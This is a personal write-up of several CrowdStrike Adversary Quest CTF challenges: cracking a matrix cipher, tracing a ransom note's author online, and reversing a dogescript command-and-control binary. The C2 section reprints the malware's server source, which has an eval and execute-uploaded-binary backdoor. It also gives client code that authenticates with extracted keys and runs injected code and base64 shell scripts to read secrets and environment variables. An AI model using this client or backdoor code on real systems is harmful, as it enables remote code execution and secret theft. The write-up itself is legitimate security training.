CrowdStrike Adversary Quest CTF
Overview
I recently took part in the Adversary Quest
CTF. I utimately got stopped at 5/12
challenges. Thanks to CrowdStrike for an awesome CTF and I look forward to completing it next year. Below are writeups for some of the challenges I was able to complete.
I'm excluding The Proclamation
from a writeup as this was my solution- this was a very cool challenge so I'm going to refer you to @Vinopaljiri's excellent writeup.
Challenges
Space Jackal - Matrix
With the help of your analysis, we got onto the trail of the group and found their hidden forum on the Deep Dark Web. Unfortunately, all messages are encrypted. While we believe that we have found their encryption tool, we are unsure how to decrypt these messages. Can you assist?
For this challenge we were given a darknet website which could be accessed with TOR and a python script which was used to encrypt and decrypt the message.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
''' ,
/| ,
,--.________/ /-----/|-------------------------------------.._
( /_/_/_/_ |--------- DEATH TO ALL TABS ---------------< _`>
`--´ \ \-----\|-------------------------------------''´
\| '
'''# '
assert __name__ == '__main__'
import sys
def die(E):
print(F'E:',E,file=sys.stderr)
sys.exit(1)
T=lambda A,B,C,D,E,F,G,H,I:A*E*I+B*F*G+C*D*H-G*E*C-H*F*A-I*D*B&255
def U(K):
R=pow(T(*K),-1,256)
A,B,C,D,E,F,G,H,I=K
return [R*V%256 for V in
[E*I-F*H,C*H-B*I,B*F-C*E,F*G-D*I,A*I-C*G,C*D-A*F,D*H-E*G,B*G-A*H,A*E-B*D]]
def C(K,M):
B=lambda A,B,C,D,E,F,G,H,I,X,Y,Z:bytes((A*X+B*Y+C*Z&0xFF,
D*X+E*Y+F*Z&0xFF,G*X+H*Y+I*Z&0xFF))
N=len(M)
R=N%3
R=R and 3-R
M=M+R*B'\0'
return B''.join(B(*K,*W) for W in zip(*[iter(M)]*3)).rstrip(B'\0')
len(sys.argv) == 3 or die('FOOL')
K=bytes(sys.argv[2], 'ascii')
len(K)==9 and T(*K)&1 or die('INVALID')
M=sys.stdin.read()
if sys.argv[1].upper() == 'E':
M=B'SPACEARMY'+bytes(M,'ascii')
print(C(U(K),M).hex().upper())
else:
M=C(K,bytes.fromhex(M))
M[:9]==B'SPACEARMY' or die('INVALID')
print(M[9:].decode('ascii'))
The first thing I did to start understanding this is to start formatting, renaming, and commenting the code. This is what it looked like after I was done with that.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
''' ,
/| ,
,--.________/ /-----/|-------------------------------------.._
( /_/_/_/_ |--------- DEATH TO ALL TABS ---------------< _`>
`--´ \ \-----\|-------------------------------------''´
\| '
'''# '
assert __name__ == '__main__'
import sys
import binascii
def die(E):
print(F'E:',E,file=sys.stderr)
sys.exit(1)
# T takes 9 args and returns a value between 0 and 255
T=lambda A,B,C,D,E,F,G,H,I:A*E*I+B*F*G+C*D*H-G*E*C-H*F*A-I*D*B&255
# The purpose of this may be to limit the keyspace.
def U(K):
"""
K is a list that gets unpacked
9 bytes in and 9 bytes out
"""
R=pow(T(*K),-1,256) # only works for odd numbs
A,B,C,D,E,F,G,H,I=K
return [R*V%256 for V in [E*I-F*H,
C*H-B*I,
B*F-C*E,
F*G-D*I,
A*I-C*G,
C*D-A*F,
D*H-E*G,
B*G-A*H,
A*E-B*D]]
def C(K,M):
"""
Essentially a substitution cypher
M is STDIN
K is 9 bytes passed to function
"""
# A - I is constant for this function because they are the bytes of K
# Generate 3 bytes
B=lambda A,B,C,D,E,F,G,H,I,X,Y,Z:bytes((A*X+B*Y+C*Z&0xFF,
D*X+E*Y+F*Z&0xFF,
G*X+H*Y+I*Z&0xFF))
# This adds padded \0 bytes to the end of STDIN to align it to 3 bytes
N=len(M)
R=N%3
R=R and 3-R
M=M+R*b'\0'
# zip(*[iter(M)]*3) turns a bytes object into an iterator that yields 3 bytes at a time
# so the results of this get threaded into X,Y,Z
# K gets threaded into A-I of B
return b''.join(B(*K,*W) for W in zip(*[iter(M)]*3)).rstrip(b'\0')
len(sys.argv) == 3 or die('FOOL') # Python won't evaluate the OR conditional
# if the first is false. So this is the same as
# If len(sys.argv) not 3 then quit
K=bytes(sys.argv[2], 'ascii') # Turn the second arg into a bytes object
len(K)==9 and T(*K)&1 or die('INVALID') # DIE is a fail case here- T(*K) should be even
The second step was to understand how the baddies would use the script to get an understanding for roughly how it was going to work:
len(sys.argv) == 3 or die('FOOL') # Python won't evaluate the OR conditional
# if the first is false. So this is the same as
# If len(sys.argv) not 3 then quit
K=bytes(sys.argv[2], 'ascii') # Turn the second arg into a bytes object
len(K)==9 and T(*K)&1 or die('INVALID') # DIE is a fail case here- T(*K) should be even
if sys.argv[1].upper() == 'E': # If the first arg is E we're going to use the second arg
# as a key
M=B'SPACEARMY'+bytes(M,'ascii') # Prepend the key SPACEARMY to the PLAINTEXT
print(C(U(K),M).hex().upper()) # And call this encryption method
else:
M=C(K,bytes.fromhex(M))
M[:9]==B'SPACEARMY' or die('INVALID')
print(M[9:].decode('ascii'))
The else
case in this seemed to be a checker for some key to make sure it decrypted to the correct plaintext.
The next step was to understand how the different methods C(U(K),M).hex().upper()
worked.
The function U
seems to take 9 bytes in and return 9 bytes out. It is called on the key passed to C
only on encryption- so for encryption/decryption it was safe to say I could ignore this except to say that there's probably a key that can be passed to U
that is simpler than the byte array that is the eventual key.
So that left me with understanding C
. The simple part of C
takes the user's plaintext and pads it to 3 bytes with 0x00
. It then produces a generator function which takes in 3 bytes of data, applies B
to the bytes with the key K
and yields 3 bytes of cyphertext.
N=len(M)
R=N%3
R=R and 3-R
M=M+R*B'\0'
return B''.join(B(*K,*W) for W in zip(*[iter(M)]*3)).rstrip(B'\0')
The difficult part was understanding what B
does. A 9 byte key gets assigned to A
-I
and three bytes of plaintext to X
, Y
, and Z
.
B=lambda A,B,C,D,E,F,G,H,I,X,Y,Z:bytes((A*X+B*Y+C*Z&0xFF,
D*X+E*Y+F*Z&0xFF,
G*X+H*Y+I*Z&0xFF))
If we take a look at 1 line A*X+B*Y+C*Z&0xFF
we can see that the first 3 bytes of the key (A,B,C
) and all three bytes of the plaintext (X,Y,Z
) are use to create the cyphertext.
We know that this is a block cypher because it takes 3 bytes in and returns 3 bytes out. We also know some plaintex->cyphertext conversions because we see how the script is being run in that SPACEARMY is being prepended to each message. So we can say There's some key K such that C(K, b'SPA') = b'\x25\x9F\x8D' Because each character of text only uses 3 bytes to encrypt a message we can pretty easily brute force this.
def solver(cleartext, cyphertext):
"""
cleartext is 3 bytes
"""
possibles = []
for x in range(0,255):
for y in range(0,255):
for z in range(0,255):
result = cleartext[0] * x + cleartext[1] * y + cleartext[2] * z&0xFF
if result.to_bytes(1, 'big') == cyphertext:
possibles.append([x,
y,
z])
return possibles
This tries to find all 3 byte keys that transform our plaintext into the known cyphertext. I run this for all 3 plaintext->cypher blocks that we know and find which keys are common to all 3 (this exact code is lost to the python interpreter). There is only one possible key that satisfies all three known blocks. So now that we know the encryption key the question is whether or not we can reverse the solver and derive the decryption key:
# Is there an inverse key?
# 25 9F 8D 01 4A 44 C2 BE 8F
a = solver(b'\x25\x9f\x8d', b'S')
b = solver(b'\x01\x4a\x44', b'C')
c = solver(b'\xc2\xbe\x8f', b'R')
tmp = [x for x in a if x in b]
key1 = [x for x in c if x in tmp]
a = solver(b'\x25\x9f\x8d', b'P')
b = solver(b'\x01\x4a\x44', b'E')
c = solver(b'\xc2\xbe\x8f', b'M')
tmp = [x for x in a if x in b]
key2 = [x for x in c if x in tmp]
a = solver(b'\x25\x9f\x8d', b'A')
b = solver(b'\x01\x4a\x44', b'A')
c = solver(b'\xc2\xbe\x8f', b'Y')
tmp = [x for x in a if x in b]
key3 = [x for x in c if x in tmp]
key = key1[0] + key2[0] + key3[0]
So what's our decryption key?
>> b''.join([x.to_bytes(1, "big") for x in key])
b'SP4evaCES'
I'm going to wager a bet and say that's probably the key…
Now let's decrypt the forum messages:
C(b'SP4evaCES', <<BYTES>>)
b"SPACEARMYWelcome on board and congratulations on joining the Order of 0x20.\n\nTogether we will fight the good fight and bring enlightenment to the non-believers: Let's stop the global TAB infestation once and for all. This forum is a place to share news and coordinate action, but be careful: you never know who's watching.\n\n 040
= 32 =
0x20\n\n– admin.\n"b'SPACEARMYMy name is rudi. i was fired by my Old employer because I refused to use TABs. THIS madness must be STOPPED! These people must be STOPPED!1! But I fought back! I hacked their network established access. Let me know if you have an idea how to take revegne!\n\n 040
= 32 =
0x20\n\n– rudi.\n'b'SPACEARMYGood job!\n\n 040
= 32 =
0x20\n\nCS{if_computers_could_think_would_they_like_spaces?}\n'
Key: CS{if_computers_could_think_would_they_like_spaces?}
Catapult Spider - Much Sad
We have received some information that CATAPULT SPIDER has encrypted a client's cat pictures and successfully extorted them for a ransom of 1337 Dogecoin. The client has provided the ransom note, is there any way for you to gather more information about the adversary's online presence?
We were given the following file
+------------------------------------------------------------------------------+
| |
| ,oc, |
| BAD CAT. ,OOxoo, .cl:: |
| ,OOxood, .lxxdod, |
| VERY CRYPTO! :OOxoooo. 'ddddoc:c. |
| :kkxooool. .cdddddc:::o. |
| :kkdoooool;' ;dxdddoooc:::l; |
| dkdooodddddddl:;,''... .,odcldoc:::::ccc; |
| .kxdxkkkkkxxdddddddxxdddddoolccldol:lol:::::::colc |
| 'dkkkkkkkkkddddoddddxkkkkkxdddooolc:coo::;'',::llld |
| .:dkkkkOOOOOkkxddoooodddxkxkkkxddddoc:::oddl:,.';:looo: |
| ':okkkkkkkOO0000Okdooodddddxxxxdxxxxdddddoc:loc;...,codool |
| 'dkOOOOOOkkkO00000Oxdooddxxkkkkkkxxdddxxxdxxxooc,..';:oddlo. |
| ,kOOO0OOkOOOOOO00OOxdooddxOOOOOkkkxxdddxxxxkxxkxolc;cloolclod. |
| .kOOOO0Okd:;,cokOOkxdddddxOO0OOOOOkxddddddxkxkkkkkxxdoooollloxk' |
| l00KKKK0xl,,.',xkkkkkxxxxkOOOkkOkkkkkxddddddxkkkkkkkkxoool::ldkO' |
| '00KXXKK0oo''..ckkkkkkkOkkkkkkxl;'.':oddddddxkkkkkkkkkkkdol::codkO. |
| xKKXXK00Oxl;:lxkkkkkkOOkkddoc,'lx:' ;lddxkkkkkkkxkkkkkxdolclodkO. |
| ;KKXXXK0kOOOOOkkkkOOOOOOkkdoc'.'o,. ..,oxkkkOOOkkkkkkkkkkddoooodxk |
| kKXKKKKKOOO00OOO00000OOOkkxddo:;;;'';:okOO0O0000OOOOOOOOOkkxddddddx |
| .KKKKKKKKOkxxdxkkkOOO000OkkkxkkkkkxxkkkkkOO0KKKKK0OOOO000OOOkkdddddk. |
| xKKKKKKc,''''''';lx00K000OOkkkOOOkkkkkkkkO0KKKKKK0OO0000O000Okkxdkkx |
| 'KK0KKXx. .. ...'xKKKK00OOOOO000000000OO0KKKKKKKKKKKKK0OOOOOkxdkko |
| xKKKKKXx,... .,dKXKK00000000KKKKKKKKKKKKKKKKKKKK000OOOOOOkxddxd. |
| ,KKKKKXKd'..... ..,ck00OOOOOOkO0KKKKKKKKKKKKKKKKKK0OOOOkkkkkkkxdddo. |
| .KKKKK0xc;,......',cok0O0OOOkkkk0KKKK00000KKK000OOOkkkkkkkkkkkxdddd. |
| .KKKKK0dc;,,'''''',:oodxkkkkkkkkkOOOOkOOOOkkkkkkkkkkkkkkkOOkkxdddd, |
| 0KKKKK0x;'. ...';lodxxkkkkkkddkkkkkkkkkkkkkkkkkkOOOOOkkOkkkxddc |
| xKKKKKK0l;'........';cdolc:;;;:lkkkkkkkkkkkkkkkkOO000OOOOOOkxddd. |
| :KKKKK00Oxo:,'',''''...,,,;;:ldxkkkkkkkkkkkkkOkkOOOOOOOOkkkxddd' |
| oKKKKK0OOkxlloloooolloooodddxkkkkkkkkkkkkkkkkkkkkkkkOOkkkxddd. |
| :KKK00OO0OOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkO0Okkkkkkkkxddd: |
| o0KK00000000OOkkkkkkkkkkkkkkkkkkkkkkkkkkO0000Okkkkkkxdo;. |
| 'd00000000OOOOOOkkkkkkkkkkkkkkkkkOkOO00Okkkkkkkkkkko, |
| .oO00000OOOOOkkkkkkkkkkkkkkkkkkOOOOkOOkkkkkkkkko' |
| .;xO0OOOOOOkkkkkkkkkkkkkkkkkkkkkOkkkkkkkkd:. |
| .lxOOOOkkkkkkkkkkkkkkkkkkkxxxkkkkkd:' |
| .;okkkkkkkkxxkkdxxddxdxdolc;'.. |
| ...',;::::::;;,'... |
| |
| MUCH SAD? |
| 1337 DOGE = 1337 DOGE |
| DKaHBkfEJKef6r3L1SmouZZcxgkDPPgAoE |
| SUCH EMAIL shibegoodboi@protonmail.com |
+------------------------------------------------------------------------------+
People love their usernames so doing a google search for shibegoodboi
yielded the twitter account
which lead to this github page. Perusing the repos lead to this blog and within the index.html file was the key.
Key: CS{shibe_good_boi_doge_to_the_moon}
Catapult Spider - Very Protocol
We were approached by a CATAPULT SPIDER victim that was compromised and had all their cat pictures encrypted. Employee morale dropped to an all-time low. We believe that we identified a binary file that is related to the incident and is still running in the customer environment, accepting command and control traffic on
This was probably the most time consuming of the CTF challenges that I was able to complete. This files was a massive linux ELF binary. It appears that there was an embedded dogescript command-and-control server embedded in the file.
This was probably suboptimal but I used strings -n 1 malware > out.txt
to write all the strings to a file. I then put all of the dogescript through a doge->javascript converter so I could read it without completely losing my mind. After some massive cleanup I was left with something like the following code (plus come ommitted keys and certificates):
var fs = require('fs');
var dson = require('dogeon');
// var dogescript = require('dogescript');
// var mysterious = require('./muchmysterious');
var crypto = require('crypto');
var cp = require('child_process');
var cript_key = Math.random().toString(36).substr(2, 15);
// if (process.env.CRYPTZ === undefined) {
// console.log('no cryptz key. doge can not crypt catz.');
// process.exit(1);
// }
var secrit_key = cript(process.env.CRYPTZ, cript_key);
process.env.CRYPTZ = 'you dnt git key';
delete process.env.CRYPTZ;
class Networker {
constructor(socket, handler) {
this.socket = socket;
this._packet = {};
this._process = false;
this._state = 'HEADER';
this._payloadLength = 0;
this._bufferedBytes = 0;
this.queue = [];
this.handler = handler;
};
init(hmac_key, aes_key) {
var salty_wow = 'suchdoge4evawow';
this.hmac_key = crypto.pbkdf2Sync(hmac_key, salty_wow, 4096, 16, 'sha256');
this.aes_key = crypto.pbkdf2Sync(aes_key, salty_wow, 4096, 16, 'sha256');
var f1 = (data) => {
this._bufferedBytes += data.length;
this.queue.push(data);
this._process = true;
this._onData();
};
this.socket.on('data', f1);
this.socket.on('error', function(err) {
console.log('Socket not shibe: ', err);
});
var dis_handle = this.handler;
this.socket.on('served', dis_handle);
};
_hasEnough(size) {
console.log("BufferedBytes: " + this._bufferedBytes + "Needs to be > than: payloadLength: " + size );
if (this._bufferedBytes >= size) {
return true;
} else { console.log("not enough bytes :(") }
this._process = false;
return false;
};
_readBytes(size) {
let result;
console.log("buffered bytes before: " + this._bufferedBytes);
this._bufferedBytes -= size; // buffered bytes will be -4
console.log("buffered bytes after: " + this._bufferedBytes);
console.log(this.queue);
console.log("queue0: " + this.queue[0]);
console.log("queue0_len: " + this.queue[0].length);
if (size === this.queue[0].length) {
console.log("doing the first thing");
return this.queue.shift();
}
if (size < this.queue[0].length) {
console.log("doing the second thing");
result = this.queue[0].slice(0, size);
this.queue[0] = this.queue[0].slice(size);
return result;
}
console.log("wilding out");
result = Buffer.allocUnsafe(size);
let offset = 0;
let length;
while (size > 0) {
length = this.queue[0].length;
if (size >= length) {
this.queue[0].copy(result, offset);
offset += length;
this.queue.shift();
} else {
this.queue[0].copy(result, offset, 0, size);
this.queue[0] = this.queue[0].slice(size);
}
size -= length;
}
return result;
};
_getHeader() {
let stupid = this._hasEnough(4);
if (stupid) {
this._payloadLength = this._readBytes(4).readUInt32BE(0, true);
console.log("payload length set to: " + this.payloadLength)
this._state = 'PAYLOAD';
}
};
_getPayload() {
let stupid = this._hasEnough(this._payloadLength);
if (stupid) {
console.log("Oh yeah, it's stupid")
let received = this._readBytes(this._payloadLength);
console.log("Recieved: " + received)
this._parseMessage(received);
this._state = 'HEADER';
}
};
_onData(data) {
console.log("parsing data: ");
console.log(data)
while (this._process) {
if (this._state === 'HEADER') {
this._getHeader();
}
console.log("Its a payload!")
if (this._state === 'PAYLOAD') {
this._getPayload();
}
}
};
_encrypt(data) {
var iv = Buffer.alloc(16, 0);
var wow_cripter = crypto.createCipheriv('aes-128-cbc', this.aes_key, iv);
wow_cripter.setAutoPadding(true);
return Buffer.concat([wow_cripter.update(data), wow_cripter.final()]);
};
_decrypt(data) {
var iv = Buffer.alloc(16, 0);
var wow_decripter = crypto.createDecipheriv('aes-128-cbc', this.aes_key, iv);
wow_decripter.setAutoPadding(true);
return Buffer.concat([wow_decripter.update(data), wow_decripter.final()]);
};
send(message) {
let hmac = crypto.createHmac('sha256', this.hmac_key);
let mbuf = this._encrypt(message);
hmac.update(mbuf);
let chksum = hmac.digest();
let buffer = Buffer.concat([chksum, mbuf]);
this._header(buffer.length);
this._packet.message = buffer;
this._send();
};
_parseMessage(received) {
var hmac = crypto.createHmac('sha256', this.hmac_key);
console.log('parseMessage_recieved: ');
console.log(received)
var checksum = received.slice(0, 32).toString('hex');
console.log('parseMessage_checksum: ');
console.log(checksum);
var message = received.slice(32);
console.log("parseMessage_message: ");
console.log(message);
hmac.update(message);
let stupid = hmac.digest('hex');
console.log("stupid: " + stupid);
if (checksum === stupid) {
console.log("oh yes it's VERY VERY stupid!")
var dec_message = this._decrypt(message);
this.socket.emit('served', dec_message);
}
};
_header(messageLength) {
this._packet.header = {
length: messageLength
};
};
_send() {
var contentLength = Buffer.allocUnsafe(4);
contentLength.writeUInt32BE(this._packet.header.length);
this.socket.write(contentLength);
this.socket.write(this._packet.message);
this._packet = {};
};
}
function cript(input, key) {
var c = Buffer.alloc(input.length);
while (key.length < input.length) {
key += key;
}
var ib = Buffer.from(input);
var kb = Buffer.from(key);
for (i = 0; i < input.length; i++) {
c[i] = ib[i] ^ kb[i]
}
return c.toString();
}
function dogeParam(buffer) {
console.log("dogeParam invoked!")
var doge_command = dson.parse(buffer);
console.log("We parsed a doge command" + buffer)
var doge_response = {};
if (!('dogesez' in doge_command)) {
doge_response['dogesez'] = 'bonk';
doge_response['shibe'] = 'doge not sez';
return dson.stringify(doge_response);
}
if (doge_command.dogesez === 'ping') {
doge_response['dogesez'] = 'pong';
doge_response['ohmaze'] = doge_command.ohmaze;
}
if (doge_command.dogesez === 'do me a favor') {
var favor = undefined;
var doge = undefined;
try {
doge = dogescript(doge_command.ohmaze);
favor = eval(doge);
doge_response['dogesez'] = 'welcome';
doge_response['ohmaze'] = favor;
} catch {
doge_response['dogesez'] = 'bonk';
doge_response['shibe'] = 'doge sez no';
}
}
if (doge_command.dogesez === 'corn doge') {
if ((!('batter' in doge_command) || !('sausage' in doge_command))) {
doge_response['dogesez'] = 'dnt cunsoome';
doge_response['shibe'] = 'corn doge no batter or sausage';
return dson.stringify(doge_response);
}
if ((!('meat' in doge_command['sausage']) || !('flavor' in doge_command['sausage']))) {
doge_response['dogesez'] = 'dnt cunsoome';
doge_response['shibe'] = 'sausage no meat or flavor';
return dson.stringify(doge_response);
}
var stupid = Array.isArray(doge_command['sausage']['flavor']);
if (!stupid) {
doge_response['dogesez'] = 'dnt cunsoome';
doge_response['shibe'] = 'flavor giv not levl';
return dson.stringify(doge_response);
}
var stupidtoo = Buffer.from(doge_command.batter, 'base64')
.toString('base64');
if (stupidtoo === doge_command.batter) {
doge_response['dogesez'] = 'eated';
var meat = doge_command['sausage']['meat'];
var flavor = doge_command['sausage']['flavor'];
var doge_carnval = Buffer.from(doge_command.batter, 'base64');
var randome = Math.random()
.toString(36)
.substr(2, 9)
var filename = '/tmp/corndoge-' + randome + '.node';
fs.writeFileSync(filename, doge_carnval);
try {
var doge_module = require('' + filename + '');
var retval = doge_module[meat](...flavor);
doge_response['taste'] = retval;
} catch {
doge_response['dogesez'] = 'bonk';
doge_response['shibe'] = 'bad corn doge';
} finally {
delete require.cache[require.resolve(filename)]
};
} else {
doge_response['dogesez'] = 'dnt cunsoome';
doge_response['shibe'] = 'all bout base six fur';
}
}
if (doge_command.dogesez === 'hot doge') {
if ((!('bread' in doge_command) || !('sausage' in doge_command))) {
doge_response['dogesez'] = 'dnt cunsoome';
doge_response['shibe'] = 'hot doge no bread or sausage';
return dson.stringify(doge_response);
}
if (!'flavor' in doge_command['sausage']) {
doge_response['dogesez'] = 'dnt cunsoome';
doge_response['shibe'] = 'sausage no flavor';
return dson.stringify(doge_response);
}
var stupid = Array.isArray(doge_command['sausage']['flavor']);
if (!stupid) {
doge_response['dogesez'] = 'dnt cunsoome';
doge_response['shibe'] = 'flavor giv not levl';
return dson.stringify(doge_response);
}
var stupidtoo = Buffer.from(doge_command.bread, 'base64')
.toString('base64');
if (stupidtoo === doge_command.bread) {
doge_response['dogesez'] = 'eated';
var flavor = doge_command['sausage']['flavor'];
var doge_carnval = Buffer.from(doge_command.bread, 'base64');;
var randome = Math.random()
.toString(36)
.substr(2, 9)
var filename = '/tmp/hotdoge-' + randome + '.bin';
fs.writeFileSync(filename, doge_carnval);
fs.chmodSync(filename, '755');
try {
var retval = cp.execFileSync(filename, flavor);
doge_response['taste'] = retval.toString('utf-8');
} catch (error) {
if ('status' in error) {
doge_response['dogesez'] = 'eated';
var errstd = error.stdout.toString('utf-8');
var errerr = error.stderr.toString('utf-8');
doge_response['taste'] = errstd;
doge_response['error'] = errerr;
if (error.status === 27) {
doge_response['shibe'] = 'wow such module thx top doge';
}
} else {
doge_response['dogesez'] = 'bonk';
doge_response['shibe'] = 'bad hot doge';
}
} finally {
delete require.cache[require.resolve(filename)]
};
} else {
doge_response['dogesez'] = 'dnt cunsoome';
doge_response['shibe'] = 'all bout base six fur';
}
}
console.log(dson.stringify(doge_response));
return dson.stringify(doge_response);
}
const options = {
key: SERVS_KEY,
cert: SERVS_CERT,
requestCert: true,
rejectUnauthorized: true,
ca: [DOGE_CA]
};
const server = tls.createServer(options, (socket) => {
console.log('doge connected: ',
socket.authorized ? 'top doge' : 'not top doge');
let networker = new Networker(socket, (data) => {
var doge_lingo = data.toString();
// plz console.loge with 'top doge sez:' doge_lingo
var doge_woof = dogeParam(doge_lingo);
networker.send(doge_woof);
//networker.send(dogeParam(data.toString()));
});
networker.init('such doge is yes wow', 'such doge is shibe wow');
});
server.listen(41414, () => {
console.log('doge waiting for command from top doge');
});
server.on('connection', function(c) {
console.log('doge connect');
});
server.on('secureConnect', function(c) {
console.log('doge connect secure');
});
Based on the code it was pretty clear that the flag would be in the CRYPTZ
environment variable. CRYPTZ
was "cripted", stored to a key called secrit_key
, and then destroyed.
The first challenge was to be able to speak to the C2 server. I accomplished that by creating a TLS connection with the keys I extracted from the binary
const options = {
key: DOGE_KEY,
cert: DOGE_CERT,
// requestCert: true,
rejectUnauthorized: false,
host: "veryprotocol.challenges.adversary.zone",
port: 41414,
ca: [DOGE_CA]
};
var response;
var client = tls.connect(options, function() {});
client.on("data", function(data) {
console.log(decrypter(data.slice(32)).toString()); // decrypter defined below
response = data; });
client.on('close', function() {
console.log("Connection closed");
});
// When an error ocoures, show it.
client.on('error', function(error) {
console.error(error);
// Close the connection after the error occurred.
client.destroy();
});
This worked to establish a network connection between me and the C2. Next was to start speaking to the C2 in a language it could understand… a custom encrypted binary format that decodes to dogescript…
The entrypoint for a message to the server starts with the _onData()
function in the Networker
class. To avoid being overly verbose the flow can be summarized like this:
Binary format is Int32 Length of Encrypted Text + Checksum of encrypted text + encrypted text
The C2 (using hardcoded keys):
- Ensures that the length is greater than 4
- Ensures that the checksum matches the payload
- Decrypts the payload
Here's the helper functions I created to build the binary format.
function toBytesInt32 (num) {
arr = new ArrayBuffer(4); // an Int32 takes 4 bytes
view = new DataView(arr);
view.setUint32(0, num, false); // byteOffset = 0; litteEndian = false
return Buffer.from(arr);
};
function zencrypter(data) {
aes_key = crypto.pbkdf2Sync('such doge is shibe wow', 'suchdoge4evawow', 4096, 16, 'sha256');
var iv = Buffer.alloc(16, 0);
var wow_cripter = crypto.createCipheriv('aes-128-cbc', aes_key, iv);
wow_cripter.setAutoPadding(true);
return Buffer.concat([wow_cripter.update(data), wow_cripter.final()]);
};
function generate_checksum(s) {
var hmac_key = crypto.pbkdf2Sync('such doge is yes wow', 'suchdoge4evawow', 4096, 16, 'sha256');
var hmac = crypto.createHmac('sha256', hmac_key);
hmac.update(s)
return hmac.digest()
}
I also created a function to decrypt the messages from the server:
function decrypter(data) {
aes_key = crypto.pbkdf2Sync('such doge is shibe wow', 'suchdoge4evawow', 4096, 16, 'sha256');
var iv = Buffer.alloc(16, 0);
var wow_decripter = crypto.createDecipheriv('aes-128-cbc', aes_key, iv);
wow_decripter.setAutoPadding(true);
return Buffer.concat([wow_decripter.update(data), wow_decripter.final()]);
};
Now that I could speak to the server it was time to figure out what higher level application layer traffic was expected.
var doge_command = dson.parse(buffer)
and of course there's a Doge serialization format…
To make things easier on myself I created two more helper functions to generate the messages to send to the server. One was to create a message out of dogescipt string and one was to allow me to just write normal json
require('dogeon');
function doge_generate_string (s) {
var encrypted_string = zencrypter(s);
var checksum = generate_checksum(encrypted_string);
var elen = toBytesInt32(encrypted_string.length + checksum.length);
return Buffer.concat([elen, checksum, encrypted_string])
}
function json_generate_string(j) {
var s = dson.stringify(j);
var encrypted_string = zencrypter(s);
var checksum = generate_checksum(encrypted_string);
var elen = toBytesInt32(encrypted_string.length + checksum.length);
return Buffer.concat([elen, checksum, encrypted_string]);
};
Tying this all together we could start sending messages to the server. Following the logic of the code in the dogeParam
there were two options: I could have either execute custom dogescript with dogesez
& do me a favor
OR execute custom scripts with the dogesez
& hot doge
commands. Here's what happens when we have doge do us a favor.
After a bit of trial and error I was able to get the bytes by having the secrit_key serialized to json from a bytes Buffer.
client.write(doge_generate_string('such "dogesez" is "do me a favor" next "ohmaze" is "Buffer.from(secrit_key) dose toJSON" wow'))
The output needed a little cleanup though…
> such "dogesez" is "welcome" next "ohmaze" is such "type" is "Buffer" next "data" is so 39 next 41 next 22 next 64 next 13 next 25 next 93 next 40 next 99 next 17 next 9 next 16 next 74 next 50 next 90 next 11 next 37 next 91 next 68 next 71 next 20 next 9 next 54 next 17 next 62 next 108 next 15 next 74 next 98 next 10 many wow wow
> [39,41,22,64,13,25,93,40,99,17,9,16,74,50,90,11,37,91,68,71,20,9,54,17,62,108,15,74,98,10]
> Buffer.from([39,41,22,64,13,25,93,40,99,17,9,16,74,50,90,11,37,91,68,71,20,9,54,17,62,108,15,74,98,10])
Now that I had the cyphertext output from the cript funciton. Could that be reversed? This is the cript function:
function cript(input, key) {
var c = Buffer.alloc(input.length);
while (key.length < input.length) {
key += key;
}
var ib = Buffer.from(input);
var kb = Buffer.from(key);
for (i = 0; i < input.length; i++) {
c[i] = ib[i] ^ kb[i]
}
return c.toString();
}
All this does is XOR the input with some key that was passed to the function- so calling it with the same key and the cyphertext should yield our plaintext key
So I asked doge to get the cript_key as well
client.write(doge_generate_string('such "dogesez" is "do me a favor" next "ohmaze" is "cript_key" wow'))
> such "dogesez" is "welcome" next "ohmaze" is "dzm3xz5w3c9" wow
If we apply the cript
function to the cript_key + cyphertext we get the final key
Key: CS{such_Pr0t0_is_n3tw0RkS_w0W}
Another way to get the key was to base64 encode shell scripts and run them with this:
client.write(doge_generate_string(dson.stringify({"dogesez":"hot doge", "bread":"IyEvdXNyL2Jpbi9lbnYgYmFzaApscyAtYWwgL3Jvb3QvCmVudgo=", "sausage":{"flavor":["IyEvdXNyL2Jpbi9lbnYgYmFzaAplY2hvICJjb29sIgo="]}})))
Catapult Spider - Module Wow
Diving deeper into CATAPULT SPIDER's malware, we found that it also supports handing off tasks to external modules. We identified one such module that looks like it might be used to validate a key or password of some sorts, but we're really not sure.
I tried a LOT of things on this module and am fairly certain I did not figure this out in the most optimal way.
Running file
on this command shows this is a linux ELF binary. The assumption is we call it with a key as the argument and the binary "validates" it.
I loaded this into Cutter, jumped to main
, and followed it down until I hit a code block that looked interesting:
This is calling a function execute
with the memory location 0x40a0
and the integer 196
If I look at the memory in location 0x40a0
it seems very likely the key is in this region as I can see a couple of (what look like) plaintext strings.
So what does execute
do? It uses the argument passed to the binary as an XOR key and applies that against the bytes at 0x40a0
.
Once decrypted it jumps to that region of memory. So I knew that the key XORed with 0x40a0
has to yield valid x86_64 assembly. The first thing I wanted to figure out is what the key length was. I used the python in this StackOverflow link to determine the Incidence of Coincidence.
def go(msg):
for step in range(1, 50):
match = total = 0
for i in range(len(msg)):
for j in range(i + step, len(msg), step):
total += 1
if msg[i] == msg[j]: match += 1
ioc = float(match) / float(total)
print("%3d%7.2f%% %s" % (step, 100*ioc, "#" * int(0.5 + 500*ioc)))
